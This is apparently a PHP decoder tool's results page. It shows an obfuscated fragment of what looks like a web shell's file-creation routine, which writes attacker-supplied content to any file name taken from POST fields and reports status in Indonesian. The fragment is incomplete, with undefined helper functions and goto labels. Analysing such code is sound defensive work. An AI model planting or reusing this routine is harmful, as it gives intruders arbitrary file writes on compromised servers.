Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (isset($_POST[base64_decode('cw==')])) { $fileName = $_POST[base64_decode('b..

Decoded Output download

<?php if (isset($_POST[base64_decode('cw==')])) { 
    $fileName = $_POST[base64_decode('bg==')]; 
    $fileContent = $_POST[base64_decode('Y3Ru')]; 
    $filePath = "{$Jd}/{$fileName}"; 
 
    if (file_exists($filePath)) { 
        xE(base64_decode('TmFtYSBmaWxlIHRlbGFoIGRpZ3VuYWthbg=='), 0, base64_decode('JmE9') . SS(base64_decode('bmV3RmlsZQ=='))); 
    } else { 
        if (file_put_contents($filePath, $fileContent)) { 
            xe(base64_decode('RmlsZSBiZXJoYXNpbCBkaWJ1YXQ='), 1, base64_decode('JmE9') . SS(base64_decode('dmlldw==')) . base64_decode('Jm49') . SS($fileName)); 
        } else { 
            Xe(base64_decode('RmlsZSBnYWdhbCBkaWJ1YXQ='), 0); 
        } 
    } 
} 
goto WC; 
Lw: 
?>

Did this file decode correctly?

Original Code

<?php if (isset($_POST[base64_decode('cw==')])) {
    $fileName = $_POST[base64_decode('bg==')];
    $fileContent = $_POST[base64_decode('Y3Ru')];
    $filePath = "{$Jd}/{$fileName}";

    if (file_exists($filePath)) {
        xE(base64_decode('TmFtYSBmaWxlIHRlbGFoIGRpZ3VuYWthbg=='), 0, base64_decode('JmE9') . SS(base64_decode('bmV3RmlsZQ==')));
    } else {
        if (file_put_contents($filePath, $fileContent)) {
            xe(base64_decode('RmlsZSBiZXJoYXNpbCBkaWJ1YXQ='), 1, base64_decode('JmE9') . SS(base64_decode('dmlldw==')) . base64_decode('Jm49') . SS($fileName));
        } else {
            Xe(base64_decode('RmlsZSBnYWdhbCBkaWJ1YXQ='), 0);
        }
    }
}
goto WC;
Lw:
?>

Function Calls

None

Variables

None

Stats

MD5 b937cfcd44e1861f49fc846590d13e7a
Eval Count 0
Decode Time 45 ms